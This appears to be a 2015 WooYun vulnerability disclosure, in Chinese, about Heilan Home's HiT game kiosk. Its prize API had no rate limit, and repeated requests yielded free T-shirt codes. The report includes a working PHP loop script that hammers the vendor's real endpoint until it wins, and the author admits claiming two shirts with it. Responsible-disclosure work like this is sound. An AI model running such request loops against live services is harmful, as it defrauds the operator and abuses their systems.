当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114912

漏洞标题:海澜之家HiT户外实体游戏机可任意获取T恤漏洞(北京西单设备为例)

相关厂商:heilanhome.com

漏洞作者: FitChang

提交时间:2015-05-19 11:33

修复时间:2015-07-03 12:22

公开时间:2015-07-03 12:22

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-19: 细节已通知厂商并且等待厂商处理中
2015-05-19: 厂商已经确认,细节仅向厂商公开
2015-05-29: 细节向核心白帽子及相关领域专家公开
2015-06-08: 细节向普通白帽子公开
2015-06-18: 细节向实习白帽子公开
2015-07-03: 细节向公众公开

简要描述:

抽奖接口没有做任何限制,重复请求就可以拿到兑换码

详细说明:

前天经过西单地铁站,发现有个好玩的东西,给二维码拍了照想着回去玩

hit.jpg


结果玩了好多局都没见到那个罐子,只好打开Chrome,竟然没限制浏览器

network.png


游戏一开始就看到一个可疑的请求

console.png


还在Console里面打log,点一下行数过去看看发请求的代码

gaming.png


我草,这良好的代码注释习惯看的我虎躯一震,连每个值试一遍都省了。

<?php
function getCode()
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://event.heilanhome.com/20150504/ajax.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "mobile=13112345679&cmd=award");
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Pragma: no-cache','Origin: http://event.heilanhome.com',
'Accept-Encoding: gzip, deflate',
'Accept-Language: zh-CN,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; Nexus 5 Build/JOP40D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2307.2 Mobile Safari/537.36',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Accept: */*',
'Cache-Control: no-cache',
'X-Requested-With: XMLHttpRequest',
'Cookie: SNPRIMARY=CR-Qxf4U6pM; PHPSESSID=5e7umg51aam2uorgd37168pli7',
'Connection: keep-alive',
'Referer: http://event.heilanhome.com/20150504/']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$server_output = curl_exec ($ch);
curl_close ($ch);
$data = json_decode($server_output, TRUE);
echo $server_output."\n";

if($data['no']==4)
exit;
}
for($i=1;true;$i++)
{
echo $i.':';
getCode();
}


写段代码请求这个接口直到返回4。晚上下班后去了趟西单站,拿了两件T恤。

漏洞证明:

HAILAN.png


你们这个中奖率有点坑爹啊。而且同一时段竟然从两台机器上拿到同样的兑换码,兑奖的时候又没让输入手机号,看来输入手机号只是为了浪费玩家时间。

get.jpg


码数还这么小,能给我寄两件185的么

修复方案:

前端方面,防止读代码,可以利用UA和微信JSSDK做浏览器限制。然后对js做uglify和stripe-debug
后端对同一个IP做请求频次限制,也可以搞点签名机制做校验

版权声明:转载请注明来源 FitChang@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-19 12:20

厂商回复:

感谢关注,多谢提交,立即组织修复。

最新状态:

暂无